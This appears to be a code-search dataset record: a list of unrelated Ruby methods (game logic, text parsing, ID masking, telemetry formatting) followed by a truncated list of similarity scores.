"def parse_query_mana(mana)\n pool = Hash.new(0)\n mana = mana.gsub(/\\{(.*?)\\}|(\\d+)|([wubrgxyzchmnos])/) do\n if $1\n m = $1.downcase.tr(\"/{}\", \"\")\n if m =~ /\\A\\d+\\z/\n pool[\"?\"] += m.to_i\n elsif m == \"h\"\n pool[m] += 1\n elsif m =~ /h/\n pool[m.sub(\"h\", \"\").chars.sort.join] += 0.5\n elsif m != \"\"\n pool[m.chars.sort.join] += 1\n end\n elsif $2\n pool[\"?\"] += $2.to_i\n elsif $3\n pool[$3] += 1\n end\n \"\"\n end\n raise \"Mana query parse error: #{mana}\" unless mana.empty?\n pool\n end",
"def check_hooking player, board, word_list\n\t\t\tbest =Array.new(2, ScrabbleWord.new('', 0, 0, 0, 0))\n\t\t\twords = DICTIONARY.get_all(player.tiles)\n\t\t\tword_hash = Hash.new\n\t\t\twords.each do |word|\n\t\t\t\tword.each_char do |char|\n\t\t\t\t\tword_hash[char] ||= Set.new\n\t\t\t\t\tword_hash[char] << word\n\t\t\t\tend\n\t\t\tend\n\t\t\tword_list.each do |word|\n\t\t\t\tplayer.tiles.each do |char|\n\t\t\t\t\tif DICTIONARY.word?(word.word + char) || DICTIONARY.word?(char + word.word)\n\t\t\t\t\t\tword_hash[char].each do |new_word|\n\t\t\t\t\t\t\trow = word.row\n\t\t\t\t\t\t\tcol = word.col\n\t\t\t\t\t\t \tword.dir == :across ? col -=1 : row -= 1\n\t\t\t\t\t\t\tbest = hook_helper(new_word, word.word.length , word, board, char, word.row , word.col, best, word.word + char) if DICTIONARY.word?(word.word + char)\n\t\t\t\t\t\t\tbest = hook_helper(new_word, 0 , word, board, char, row, col, best, char + word.word) if DICTIONARY.word?(char + word.word)\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\t[best, best.inject(0){|sum, i| sum + i.score}]\n\t\tend",
"def get_the_word\n words = File.readlines(\"5desk.txt\")\n words = words.map do |word|\n word.strip\n end\n words = words.select do |word|\n (word.length > 4) && (word.length < 13)\n end\n words.sample.upcase.split(\"\")\n end",
"def priority_html(dmds)\r\n html = ''\r\n dmds.each { |title,list|\r\n html += \"<b>#{title}</b><br/>\\n<ul>\"\r\n list.each { |dmd|\r\n html += \"<li><span class=\\\"dmd_id\\\">#{dmd.id}</span> <span class=\\\"dmd_source\\\">#{dmd.source}</span> <span class=\\\"dmd_status\\\">(\"\r\n html += \"#{dmd.ccb_status}\"\r\n html += \")</span> <span class=\\\"dmd_analyse_status\\\">(\"\r\n html += \"<span class=\\\"open\\\">\" if dmd.analyse_status == 'Open'\r\n html += \"#{dmd.analyse_status}\"\r\n html += \"</span>\" if dmd.analyse_status == 'Open'\r\n html += \")</span> <span class=\\\"dmd_om\\\">#{dmd.om}</span>: <span class=\\\"dmd_title\\\">#{dmd.title}</span><ul><span class=\\\"dmd_actions\\\">#{dmd.comments}</span><span class=\\\"dmd_analyse\\\">#{dmd.analyse}</span></ul></li>\\n\"\r\n }\r\n html += \"</ul>\\n\"\r\n }\r\n #puts html\r\n html\r\n end",
"def filter_index entry\n\tfilter_regex = /(\\[.+?\\]|<Prior.+?>|<JLPT.+?>|<GENKI.+?>|<LangNiv.+?>|<Usage.+?>|<JWD.+?>|<Jap.+?>|<DaID.+?>|<Etym.+?>|\\(<Ref.+?>\\))/\n \tentry.gsub(filter_regex, \"\")\nend",
"def get_hot_simple(regex)\n if regex =~ @row ;@rgx = $~ \n chk1= @rgx[2][-1,1] + @rgx[3][0,2].to_s \n chk2= @rgx[2][/\"\\}!/]\n chk3= @rgx[2][/\"\\}~/]\n # already become w2tags, ignore!!!\n if (/[=\\}][!~][ ]?/ !~ chk1 && chk2 == nil && chk3 == nil) \n keys = @rgx[2].strip\n opts = @rgx[3]\n #p chk1\n # FIX for: \n # %form#dodol{action=\"<%= #{aaa} %>\"} <%= #{bbb} %>\n # <form id=\"dodol\" action=\"<%= #{aaa} %>\"><%= #{bbb}%></form>\n # when wrong splitting, fix the splitting...\n # assume last attribute don't have spaceses!!! ==>{opt=\"blah\"}<==\n fixd = keys.split('\"} ')\n if fixd.length>1\n keys = fixd[0]+'\"}'\n opts = fixd[1]+opts\n end\n \n srcs = @rgx.captures.join\n opts = $1 << opts if keys.gsub!(/(\\/)$/,'')\n hots = keys.gsub(/\\{.*\\}$/,'').gsub(/[:#.][\\w\\-#.=]*$/,'')\n rplc = @tg_hot[hots]!=nil ? \n \"%!#{keys}~ #{opts}\" : \n \"%!#{keys}! #{opts}\" \n @row.gsub!(srcs,rplc)\n p \"reHot> #{@row} << -H-O-T-\" if @dbg[:parse]\n end\n end\n end",
"def words(number: T.unsafe(nil), supplemental: T.unsafe(nil), exclude_words: T.unsafe(nil)); end",
"def extract_noise entries\n entries.select do |entry|\n entry.start_with? 'noise'\n end\n end",
"def word_disambig(word1, word2, word3, word4, word5)\n\t\t\tgo_cmds = [\"go\", \"walk\", \"run\", \"move\", \"travel\", \"skip\", \"g\", \"m\"]\n\t\t\tfast_move_cmds = [\"n\", \"s\", \"e\", \"w\"]\n\t\t\tlook_cmds = [\"look\", \"see\", \"l\"]\n\t\t\tget_cmds = [\"grab\", \"get\", \"take\"]\n\t\t\tdrop_cmds = [\"drop\", \"leave\", \"dump\"]\n\t\t\tstatus_cmds = [\"status\", \"s\", \"health\", \"hp\", \"xp\", \"check\", \"level\"]\n\t\t\tinv_cmds = [\"inv\", \"i\", \"inventory\", \"loot\", \"stuff\", \"gear\"]\n\t\t\tquit_cmds = [\"q\", \"quit\", \"exit\", \"end\"]\n\t\t\tuse_cmds = [\"use\"]\n\t\t\tattack_cmds = [\"attack\", \"hit\"]\n\t\t\t@all_cmds << go_cmds\n\t\t\t@all_cmds << (look_cmds + get_cmds + drop_cmds)\n\t\t\tif go_cmds.include?(word1)\n\t\t\t\tif $hero.location.monsters.size != 0\n\t\t\t\t\tputs 'Your enemies are blocking the exit'\n\t\t\t\telse\n\t\t\t\t\tmove_disambig(word2)\n\t\t\t\t\tlooking\n\t\t\t\tend\n\t\t\telsif word1 == 'help'\n\t\t\t\tputs 'some commands:\n\t\t\t\t\t\t\tgo [direction]\n\t\t\t\t\t\t\tget [thing]\n\t\t\t\t\t\t\tget [type] [thing] Example: get ! scroll\n\t\t\t\t\t\t\tuse [type] [thing] Example: use orange bottle\n\t\t\t\t\t\t\tinv - display inventory\n\t\t\t\t\t\t\tattack [type]\n\t\t\t\t\t\t\tdrop [thing]\n\t\t\t\t\t\t\tlook - gives information about the room/what you can see\n\t\t\t\t\t\t\tstatus - displays information about your hp etc.\n\t\t\t\t\t\t\tq - quits the game'\n\t\t\t\t# Some developer commands commented out in case they are needed again later\n\t\t\t#elsif word1 == \"ah\"\n\t\t\t#\t$hero.heal(30)\n\t\t\t#elsif word1 == \"gen\"\n\t\t\t#\t$hero.location.item_gen\n\t\t\t#elsif word1 == \"boom\"\n\t\t\t#\tdef boom\n\t\t\t#\t$hero.location.monsters.each do |mob|\n\t\t\t#\t\tmob.wound(10)\n\t\t\t#\t\tdead = mob.defeated?\n\t\t\t#\t\tif dead == true\n\t\t\t#\t\t\t$hero.location.monsters.delete_at($hero.location.monsters.index(mob))\n\t\t\t#\t\tend\n\t\t\t#\tend\n\t\t\t#\tend\n\t\t\t#\tboom\n\t\t\t#\tboom\n\t\t\t#\tboom\n\t\t\t#elsif word1 == 'god'\n\t\t\t#\t$hero.hp = 100\n\t\t\telsif fast_move_cmds.include?(word1)\n\t\t\t\tmove_disambig(word1)\n\t\t\t\tlooking\n\t\t\telsif look_cmds.include?(word1)\n\t\t\t\tlooking\n\t\t\telsif get_cmds.include?(word1)\n\t\t\t\tgetting\n\t\t\telsif drop_cmds.include?(word1)\n\t\t\t\tdropping\n\t\t\telsif status_cmds.include?(word1)\n\t\t\t\t$hero.status_check\n\t\t\telsif inv_cmds.include?(word1)\n\t\t\t\t$hero.inv_check\n\t\t\telsif quit_cmds.include?(word1)\n\t\t\t\tputs \"Thanks for playing!\"\n\t\t\t\texit\n\t\t\telsif use_cmds.include?(word1)\n\t\t\t\t\t\tusing\n\t\t\telsif attack_cmds.include?(word1)\n\t\t\t\tattacking\n\t\t\telse\n\t\t\t\tputs \"I do not recognize that command. Please try again.\"\n\n\t\t\tend\n\tend",
"def data_order_statement_regex\n /^(?<test_name>.+) (?<term>\\d{4}-\\d{4}) (?<key>.+) (?<direction>asc|desc)$/\n end",
"def denied_titles\n %w(Steez Onkyo Edifier Logitech Sony VicTsing Lightbeats Eupatorium WHARNCLIFFE\n Audio-Technica Senbowe SoundBot FOCUS-Lucia-Bose Sennheiser Kindle Skullcandy\n Beats Fitbit\n CoolStream Tenergy Einstein CableJive Meily ASICS JAM YCC BMR)\n end",
"def _flag_nations\n %w{ar cc it de ie fr es en goo br po pt }.sort\nend",
"def define_word_EDICT(word)\n @edict = 'edict2utf8'\n @word_matches = File.readlines(@edict).grep(/#{word}/)\n\n @best_match = []\n \n @word_matches.each do |x|\n @match = x.split(/[ ()\\[\\];]/)\n \n if @match[0] == word || @match[1] == word || @match[2] == word || @match[3] == word\n @best_match << x\n end\n end\n \n return @best_match\n end",
"def hide_all_sins(string)\n sins_array = string.scan(/\\b\\d{3}-\\d{3}-\\d{3}\\b/)\n if (sins_array.nil? || sins_array.length == 0)\n sins_array = string\n return sins_array\n end\n sins_array.each do |obf_sin|\n obf_sin.gsub!(/\\b\\d{3}-\\d{3}\\b/, \"XXX-XXX\")\n end\n return sins_array.join(\", \")\nend",
"def processing_times\n total = ab_output.match(/Total:\\s+([0-9.]+)\\s+([0-9.]+)\\s+([0-9.]+)\\s+([0-9.]+)\\s+([0-9.]+)/)\n ninety = ab_output.match(/ 90%\\s+([0-9.]+)/)\n ninetyfive = ab_output.match(/ 95%\\s+([0-9.]+)/)\n [total[1], total[2], total[4], ninety[1], ninetyfive[1], total[5]]\n end",
"def debug_stats_check\r\n\tputs \"#{@name}has #{@attack} attack points, #{@health} hit points, and has an attack speed of #{@speed}\"\r\n\tend",
"def half_wind_abbreviation; end",
"def populate_final_array(old_array,final_array,dx='RX')\n old_array.each do |lines|\n lines.scan(/\\A\\s+#{dx.upcase} packets.*(overruns:[0-9]+)/).to_s.scan(/\\d+/).each do |line|\n final_array.push line\n end\n end\n end",
"def craft_names(rand_words, snippet, pattern, caps=false)\n names = snippet.scan(pattern).map do\n word = rand_words.pop()\n caps ? word.capitalize : word\n end\n# unsure as to why 2 names are returned\n return names * 2\nend",
"def context_type_stats_details\n ContextTypeDef.new(\n :stats_details,\n [\n /numero di soc.+\\siscritte\\s/i,\n /(?<anything>^.*)/i,\n /numero di soc.+\\spartecipanti\\s/i,\n /(?<anything>^.*)/i,\n\n /numero tot.+\\sdi atleti iscritti\\s/i,\n /(?<anything>^.*)/i,\n /(?<anything>^.*)/i,\n /(?<anything>^.*)/i,\n /(?<anything>^.*)/i,\n /(?<anything>^.*)/i,\n\n /numero di atleti partecipanti\\s/i,\n /(?<anything>^.*)/i,\n /(?<anything>^.*)/i,\n /(?<anything>^.*)/i,\n /(?<anything>^.*)/i,\n\n /numero tot.+\\sdi iscrizioni alle gare\\s/i,\n /(?<anything>^.*)/i,\n /(?<anything>^.*)/i,\n /(?<anything>^.*)/i,\n\n /numero tot.+\\sdi gare disputate\\s/i,\n /(?<anything>^.*)/i,\n /(?<anything>^.*)/i,\n\n /(?<anything>^.*)/i,\n /(?<anything>^.*)/i,\n /numero di squalifiche\\s/i,\n /numero di ritiri\\s/i\n ],\n :stats\n )\n end",
"def _search_text\n [_concatenated_brand,\n _concatenated_description,\n _concatenated_sell_unit,\n classic_mbid\n ].compact.map { |w| w.hanize.split(' ') }.flatten.uniq.reject { |w| w.size < 3 || self.class.stop_words.include?(w) }.join(' ')\nend",
"def tokenizer_stats_withdrawals_tot\n TokenExtractor.new(\n :withdrawals_tot,\n /\\s{2}\\d/i,\n 10\n )\n end",
"def modify_line_logic\n f = open($BACK_UCF,\"r\")\n new = open($ORG_UCF,\"w\")\n mode = false\n match = false\n cont = false\n i = 0, j = 0\n target_word = \"\"\n\n while line = f.gets\n\n if/_rt/ =~ line\n if /^#/ =~ line\n else\n line = \"#\" + line\n end\n end\n\n if cont == true\n if /^#/ =~ line\n else\n line = \"#\" + line\n end\n if /}\\\";$/ =~ line\n cont = false\n end\n end \n \n $remove_list_bld.each do |net|\n error_net = net.gsub(\"\\/\",\"\\\\/\")\n error_net = error_net.gsub(\"\\[\",\"\\\\[\")\n net = error_net.gsub(\"\\]\",\"\\\\]\")\n if /#{net}/ =~ line\n if /^#/ =~ line\n elsif /\\AINST/ =~ line\n line = \"#\" + line\n if $VERBOSE == true\n printf(\"match [%4d]:%s\", i, line)\n i += 1\n end\n break\n elsif /\\ANET/ =~ line\n cont = true\n line = \"#\" + line\n if $VERBOSE == true\n printf(\"match [%04d]:%s\", i, line)\n i += 1\n end\n break\n else\n printf(\"[E] %s\", line)\n exit\n end\n end\n end\n if (j / 100) == 0\n printf(\".\")\n end\n j += 1\n new.write(line)\n end\n f.close\n printf(\"\\n\")\nend",
"def stat_long(string)\n if string == \"vit\"\n return \"Vitality\"\n elsif string == \"int\"\n return \"Intelligence\"\n elsif string == \"agi\"\n return \"Agility\"\n elsif string == \"str\"\n return \"Strength\"\n else\n return \"String given is not a Stat!\"\n end\n end",
"def words_starting_with_un_and_ending_with_ing(text)\n text.scan(/\\b[un][a-z]+[ing]/)\nend",
"def parse_variety(line)\n return nil unless line[13].present?\n line[13].downcase.gsub(/(\\d(.+)?(\\%|％))|,|\\//, \"\").split(\"\\n\")\nend",
"def parse_variety(line)\n return nil unless line[13].present?\n line[13].downcase.gsub(/(\\d(.+)?(\\%|％))|,|\\//, \"\").split(\"\\n\")\nend",
"def matches_specs(text)\n text = text.downcase\n matches = false\n\n # some of Terri's terms were redundant so I removed them\n matches = true if text =~ /\\bsid|pakistan[.]* rendition|apartheid|apart[.]* regime|apart[.]* state|palestin[.]*/\n matches = true if text =~ /israel/ and text =~ /human rights violations/\n\n matches\nend",
"def prematch_top_markets\n {\n '6046' => top_markets(%w[1 2 7 59]), # 'Football',\n '54094' => top_markets(%w[52 202 166]), # 'Tennis',\n '687888' => top_markets(%w[]), # 'Horse Racing', *no matches\n '452674' => top_markets(%w[52 762 41 21]), # 'Cricket',\n '530129' => top_markets(%w[1 2 7 59]), # 'Hockey', *assumptions\n '274792' => top_markets(%w[1 2 52 202]), # 'Rugby League',\n '48242' => top_markets(%w[1 2 7 59]), # 'Basketball',\n '131506' => top_markets(%w[1 2 7 59]), # 'American Football', *assumptions\n '687889' => top_markets(%w[]), # 'Golf', *multiple outcomes\n '154919' => top_markets(%w[1 52]), # 'Boxing',\n #'687890' => top_markets(%w[]), # 'E-Games'\n '68789002' => top_markets(%w[52 202 21]), #\"CS:GO\"\n '68789004' => top_markets(%w[52]), #\"King Of Glory\" *no matches\n '68789005' => top_markets(%w[52 1175]), #\"League of Legends\"\n '68789006' => top_markets(%w[52 202 203 204]), #\"Overwatch\"\n '68789007' => top_markets(%w[52]), #\"Rainbow Six\"\n '68789008' => top_markets(%w[52 2]), #\"Rocket League\"\n '68789009' => top_markets(%w[52 2]), #\"StarCraft II\"\n '68789010' => top_markets(%w[52]), #\"Street Fighter V\" *no matches\n '68789011' => top_markets(%w[52]), #\"Warcraft III\"\n '68789001' => top_markets(%w[52 2 202 203 204]), #\"Call of Duty\"\n '68789003' => top_markets(%w[1 52]) #\"Dota 2\n }\n end",
"def test_dstags(dsobj)\n error = nil\n dshash = get_dshash(dsobj)\n\n # Are there one or more tags?\n if ( dshash['tags'].split(',').size < 3)\n # yes -- record an error\n error = \"datasource search keywords are sparse\"\n end\n end",
"def gerund\n b = gerundive.sub( /.*\\s+(.*)um.*$/, \"\\\\1\" )\n b += \"ī, ō, etc.\"\n return b\n end",
"def word_substituter (tweet=\"some thing need to be shorten, like two too\")\n tweet= tweet.strip\n temp_a = tweet.split(\" \")\n words_can_b_sh = dictionary.keys\n #puts words_can_b_sh\n temp = \"\"\n# puts temp_a\n temp_a.each do |word|\n if words_can_b_sh.include?(word.downcase)\n temp << dictionary[word.downcase]\n else\n temp << word\n end\n temp << \" \"\n end\n temp.strip\nend",
"def hide_all_sins(string)\n return string unless has_sin?(string)\n sin_grouping_array = string.scan(GROUPED_SIN_NUMBER)\n p sin_grouping_array.map { |group| \"XXX-XXX-#{group[2]}\"}.join(', ')\nend",
"def add_telemetry(text, metrics: 1, events: 0, service_checks: 0, bytes_sent: 0, bytes_dropped:0, packets_sent: 0, packets_dropped: 0, transport: 'udp')\n [\n text,\n \"datadog.dogstatsd.client.metrics:#{metrics}|c|#client:ruby,client_version:#{Datadog::Statsd::VERSION},client_transport:#{transport}\",\n \"datadog.dogstatsd.client.events:#{events}|c|#client:ruby,client_version:#{Datadog::Statsd::VERSION},client_transport:#{transport}\",\n \"datadog.dogstatsd.client.service_checks:#{service_checks}|c|#client:ruby,client_version:#{Datadog::Statsd::VERSION},client_transport:#{transport}\",\n \"datadog.dogstatsd.client.bytes_sent:#{bytes_sent}|c|#client:ruby,client_version:#{Datadog::Statsd::VERSION},client_transport:#{transport}\",\n \"datadog.dogstatsd.client.bytes_dropped:#{bytes_dropped}|c|#client:ruby,client_version:#{Datadog::Statsd::VERSION},client_transport:#{transport}\",\n \"datadog.dogstatsd.client.packets_sent:#{packets_sent}|c|#client:ruby,client_version:#{Datadog::Statsd::VERSION},client_transport:#{transport}\",\n \"datadog.dogstatsd.client.packets_dropped:#{packets_dropped}|c|#client:ruby,client_version:#{Datadog::Statsd::VERSION},client_transport:#{transport}\",\n ].join(\"\\n\")\n end",
"def load_notetags_blood_magic\n @blood_magic_active = false\n @blood_magic_bonus = 0.0\n \n self.note.split(/[\\r\\n]+/).each { |line|\n case line\n\n when Bubs::Regexp::BaseItem::BLOOD_MAGIC_ACTIVE\n @blood_magic_active = true\n when Bubs::Regexp::BaseItem::BLOOD_MAGIC_BONUS\n @blood_magic_bonus = $1.to_f\n end\n } # self.note.split\n end",
"def prepare_fill_gaps\n excluded_words, excluded_indexes = [], []\n words = sanitize(HTMLEntities.new.decode(text)).split(\" \")\n count_of_words = words.size\n 10.times {excluded_indexes << rand(count_of_words).to_i}\n excluded_indexes.uniq.each do |i|\n word = sanitize(words[i], :tags => \"\", :attributes => \"\")\n words[i] = make_droppable_word\n excluded_words << make_draggable_word(word)\n end\n return words.join(\" \") + \" \" + content_tag(:p, (I18n.t(\"excercises.move_word\") + excluded_words.join(\" \")).html_safe, :class => \"selected-words\" )\n end",
"def health(hash={})\n\t\t$_TAGHASH_['GSX'], $_TAGHASH_['MGSX'] = hash['text'].scan(/\\d+/o)\n\tend",
"def grab_all_ssns(string)\n string.scan(/\\d{3}\\W*\\d{2}\\W*\\d{4}/)\nend",
"def msg_STATS(source, args)\n # :UID STATS letter :targetSID\n u = User.find_by_uid(source)\n if u == nil\n return nil\n end\n\n if !u.isoper\n return [\"481 #{source} :Permission Denied - You're not an IRC operator\",\n \"219 #{source} #{args[0]} :End of /STATS report\"]\n end\n\n # We can assume targetSID is us; we have nowhere else to route it to\n ret = []\n case args[0]\n when 'o', 'O'\n #<07:01:47> :hydra.invalid 243 culex O *@* * fabio admin -1\n $config.opers.each do |oper|\n ret.push(\"243 #{source} O #{oper.to_stats_string()}\")\n end\n end\n ret.push(\"219 #{source} #{args[0]} :End of /STATS report\")\n return ret\n end",
"def min_distance_pattern_dna(pattern, dna)\n pattern.upcase!\n # d(Pattern,Dna) = ∑ d(Pattern,Dna[i]).\n min_dist = 0\n dna.each do |text|\n text.upcase!\n min_dist += min_distance_pattern_text(pattern, text)\n end\n return min_dist\n end",
"def score_word(word) \n points = {\n [\"A\", \"E\", \"I\", \"O\", \"U\", \"L\", \"N\", \"R\", \"S\", \"T\"] => 1,\n [\"D\", \"G\"] => 2,\n [\"B\", \"C\", \"M\", \"P\"] => 3,\n [\"F\", \"H\", \"V\", \"W\", \"Y\"] => 4,\n [\"K\"] => 5,\n [\"J\", \"X\"] => 8,\n [\"Q\", \"Z\"] => 10\n }\n\n score = 0 \n score += 8 if (word.length > 6) && (word.length < 11) \n\n tile_split = word.upcase.split(\"\")\n\n tile_split.each do |letter| \n points.each do |score_chart, point|\n score += point if score_chart.include?(letter) \n end \n end \n return score\nend",
"def formatbaseball(string)\n string.gsub!(/\\./,\";\")\n string.gsub!(/1B/,\"first baseman\")\n string.gsub!(/2B/,\"second baseman\")\n string.gsub!(/3B/,\"third baseman\")\n string.gsub!(/ C /,\"catcher\")\n string.gsub!(/RHP/, \"pitcher\")\n string.gsub!(/LHP/, \"pitcher\")\n string.gsub!(/INF/, \"infielder\")\n string.gsub!(/INF-OF/,\"infielder-outfielder\")\n string.gsub!(/OF/,\"outfielder\")\n string.gsub!(/Placed/,\"Put\")\n string.gsub!(/Reassigned/,\"Assigned\")\n string.gsub!(/Major League Baseball/,\"\")\n string.gsub!(/American League/,\"\")\n string.gsub!(/National League/,\"\")\n return string\nend",
"def bts_sw_level(a_logfile)\r\n cmdRXMOP = cmd_get(a_logfile, 'RXMOP') \r\n result = {}\r\n cmdRXMOP.each_index do |i|\r\n if cmdRXMOP[i].include?('SWVERACT')\r\n sw = cmdRXMOP[i+1].split.last\r\n if result.include?(sw)\r\n result[sw]+=1\r\n else\r\n result[sw]=1\r\n end\r\n end\r\n end\r\n output = \"\"\r\n output << \"There are:\\n\"\r\n result.each_pair do |sw, n|\r\n output << \"#{n} BTSs Sw level #{sw}.\\n\"\r\n end\r\n print output\r\n clip = Clipboard.instance\r\n clip.paste(output)\r\nend",
"def parse_bedrooms(details)\n bedrooms = details.match(/(\\d)br/)\n bedrooms ? bedrooms[1] : \"bedrooms not found\"\nend",
"def dodge_bonus(target) \n\t\t\t@target = target\n\t\t\t@dgb = @def_dodge.sample\n\t\t\tputs \" \"\n\t#\t\tputs \"dodge_bonus slot #{@dgb} is #{@stat_name[@target][@dgb]} -- rating #{@stat[@target][@dgb]} for #{@gladiator[@target]}\"\n\t\tend",
"def convert_special_characters(text)\n converted_text = text.clone\n #--------------------------\n # DEFAULT FEATURES\n #-----------------------\n converted_text.gsub!(/\\\\V\\[([0-9]+)\\]/i) { $game_variables[$1.to_i] }\n converted_text.gsub!(/\\\\N\\[([0-9]+)\\]/i) { $game_actors[$1.to_i].name }\n converted_text.gsub!(/\\\\C\\[([0-9]+)\\]/i) { \"\\x01[#{$1}]\" }\n \n #--------------------------\n # * NMS FEATURES!!\n #-----------------------\n # Woratana's :: Draw Weapon Name + Icon\n converted_text.gsub!(/\\\\DW\\[([0-9]+)\\]/i) { \"\\x83[#{$data_weapons[$1.to_i].icon_index}]\\x01[#{MENU_CONFIG::WEAPON_NAME_COLOR_ID}]\\\\nw[#{$1.to_i}]\\x01[#{@last_color}]\"}\n # Woratana's :: Draw Item Name + Icon\n converted_text.gsub!(/\\\\DI\\[([0-9]+)\\]/i) { \"\\x83[#{$data_items[$1.to_i].icon_index}]\\x01[#{MENU_CONFIG::ITEM_NAME_COLOR_ID}]\\\\ni[#{$1.to_i}]\\x01[#{@last_color}]\" }\n # Woratana's :: Draw Armor Name + Icon\n converted_text.gsub!(/\\\\DA\\[([0-9]+)\\]/i) { \"\\x83[#{$data_armors[$1.to_i].icon_index}]\\x01[#{MENU_CONFIG::ARMOR_NAME_COLOR_ID}]\\\\na[#{$1.to_i}]\\x01[#{@last_color}]\"}\n # Woratana's :: Draw Skill Name + Icon\n converted_text.gsub!(/\\\\DS\\[([0-9]+)\\]/i) { \"\\x83[#{$data_skills[$1.to_i].icon_index}]\\x01[#{MENU_CONFIG::SKILL_NAME_COLOR_ID}]\\\\ns[#{$1.to_i}]\\x01[#{@last_color}]\"}\n\n # Woratana's :: Draw Icon\n converted_text.gsub!(/\\\\IC\\[([0-9]+)\\]/i) { \"\\x83[#{$1}]\" }\n\n # Woratana's :: Actor Class Name\n converted_text.gsub!(/\\\\NC\\[([0-9]+)\\]/i) { $data_classes[$game_actors[$1.to_i].class_id].name }\n # Woratana's :: Party Actor Name\n converted_text.gsub!(/\\\\NP\\[([0-9]+)\\]/i) { $game_party.members[($1.to_i - 1)].name }\n # Woratana's :: Monster Name\n converted_text.gsub!(/\\\\NM\\[([0-9]+)\\]/i) { $data_enemies[$1.to_i].name }\n # Woratana's :: Troop Name\n converted_text.gsub!(/\\\\NT\\[([0-9]+)\\]/i) { $data_troops[$1.to_i].name }\n # Woratana's :: Item Name\n converted_text.gsub!(/\\\\NI\\[([0-9]+)\\]/i) { $data_items[$1.to_i].name }\n # Woratana's :: Weapon Name\n converted_text.gsub!(/\\\\NW\\[([0-9]+)\\]/i) { $data_weapons[$1.to_i].name }\n # Woratana's :: Armor Name\n converted_text.gsub!(/\\\\NA\\[([0-9]+)\\]/i) { $data_armors[$1.to_i].name }\n # Woratana's :: Skill Name\n converted_text.gsub!(/\\\\NS\\[([0-9]+)\\]/i) { $data_skills[$1.to_i].name }\n # Woratana's :: Item Price\n converted_text.gsub!(/\\\\PRICE\\[([0-9]+)\\]/i) { $data_items[$1.to_i].price.to_s }\n \n # Woratana's :: Font Name Change\n converted_text.gsub!(/\\\\FN\\[(.*?)\\]/i) { \"\\x84[#{$1}]\" }\n # Woratana's :: Font Size Change\n converted_text.gsub!(/\\\\FS\\[([0-9]+)\\]/i) { \"\\x85[#{$1}]\" }\n # Woratana's :: Reset Font Name\n converted_text.gsub!(/\\\\REF/i) { \"\\x86\" }\n # Woratana's :: Reset Font Size\n converted_text.gsub!(/\\\\RES/i) { \"\\x87\" }\n # Woratana's :: BOLD Text\n converted_text.gsub!(/\\\\B/i) { \"\\x88\" }\n # Woratana's :: ITALIC Text\n converted_text.gsub!(/\\\\I/i) { \"\\x89\" }\n \n # NMS 2++\n # Woratana's :: SHADOW Text\n converted_text.gsub!(/\\\\SH/i) { \"\\x93\" }\n\n # Woratana's :: Draw Picture\n converted_text.gsub!(/\\\\DP\\[(.*?),SIZE\\{([0-9]+),([0-9]+)\\},BORDER\\{([0-9]+),([0-9]+)\\}\\]/i) { \"\\x11[#{$1},#{$2},#{$3},#{$4},#{$5}]\" }\n converted_text.gsub!(/\\\\DP\\[(.*?),SIZE\\{([0-9]+),([0-9]+)\\}\\]/i) { \"\\x11[#{$1},#{$2},#{$3},#{nil},#{nil}]\" }\n converted_text.gsub!(/\\\\DP\\[(.*?),BORDER\\{([0-9]+),([0-9]+)\\}\\]/i) { \"\\x11[#{$1},#{nil},#{nil},#{$2},#{$3}]\" }\n converted_text.gsub!(/\\\\DP\\[(.*?)\\]/i) { \"\\x11[#{$1}]\" }\n \n # Woratana's :: Draw Face\n converted_text.gsub!(/\\\\FA\\[([0-9]+)\\]/i) { \"\\x12[#{$1}]\" }\n \n return converted_text\n end",
"def most_hits(seasonasstring) # shots in game team stats\n #get a list of all teams that played in that season\n #use above list to sum all shots across all games in season\n #find highest across list\n #return team name as found in 139\n end",
"def weasley(values)\nweasley = values.map do |entry|\n last_names_only = entry[1].split.last\n if last_names_only == \"Weasley\"\n first_names = entry[1].split.first\n last_names = entry[1].split.last\n puts \"#{first_names.to_s} Badger #{last_names.to_s.chomp}\"\n end\nend\nend",
"def km_get_reacid(data)\n return data.map{|d| d.scan(/(?<r>R\\d{5})/)}.flatten.sort\nend",
"def print_attacks_with_stats\n @battle_commands.each do |command|\n\n # Simple way to check for both damage and success rate attributes.\n # Prevents the name from being displayed for non-attacks.\n unless command.damage.nil?\n puts command.name + \"\\n Damage: #{command.damage}\"\n\n unless command.success_rate.nil?\n puts \" Success Rate: #{command.success_rate}\"\n end\n\n end\n end\n\n print \"\\n\"\n end",
"def columns_search \n column = [] \n search = @@boards_templates[1].to_s.scan(/./).each_slice(5).to_a\n for h in 0..4\n for v in 0..7 \n column << search[v][h] \n end \n end \n vertical_words = []\n vertical = column.join\n @@boards_templates[0].each do |x| \n if vertical.include?(x)\n vertical_words << x\n elsif vertical.reverse.include?(x)\n vertical_words << x \n end \n end \n vertical_words\n end",
"def check_best_targs\n if @oriented == \"h\"\n @consec_hits = @consec_hits.sort\n letter = @consec_hits[0][0]\n num1 = @consec_hits[0].gsub(/[A-Z]/,\"\").to_i\n num2 = @consec_hits[1].gsub(/[A-Z]/,\"\").to_i\n # Add a shot to the left 2 hits\n @best_targs << letter + \"#{num1 - 1}\"\n # Add a shot to the right of the 2 hits\n @best_targs << letter + \"#{num2 + 1}\"\n elsif @oriented == \"v\"\n number = @consec_hits[0].gsub(/[A-Z]/,\"\")\n letter1 = @consec_hits[0][0].ord\n letter2 = @consec_hits[1][0].ord\n # Add a shot above the two hits\n @best_targs << (letter1 - 1).chr + number\n # Add a shot below the two hits\n @best_targs << (letter1 + 1).chr + number\n end\n @best_targs\n end",
"def parse_stats(stats)\n stats[:files].keys.\n select { |file| file[0..7] == 'feather-' }.\n map { |file| file.split('/').first }.uniq\n end",
"def get_word\n words = File.readlines(\"lib/5desk.txt\")\n words.each { |word| word.chomp! }\n words_list = words.select { |word| word.length.between?(5, 12)}\n\n words_list.sample.downcase.split(\"\")\n end"
] |
[
"0.5139791",
"0.5050754",
"0.5040567",
"0.5025249",
"0.5007969",
"0.5000608",
"0.49780884",
"0.49296898",
"0.4912021",
"0.49031806",
"0.49031258",
"0.48843452",
"0.48091206",
"0.47855097",
"0.4780434",
"0.47623017",
"0.4758936",
"0.4755145",
"0.47475204",
"0.47462827",
"0.47403717",
"0.4695229",
"0.4694532",
"0.4694532",
"0.4694532",
"0.46935987",
"0.46875075",
"0.46820745",
"0.46820745",
"0.46820745",
"0.46820745",
"0.46763507",
"0.4657541",
"0.46571022",
"0.46496558",
"0.46449992",
"0.46427774",
"0.463911",
"0.46342835",
"0.4633589",
"0.4626962",
"0.46207067",
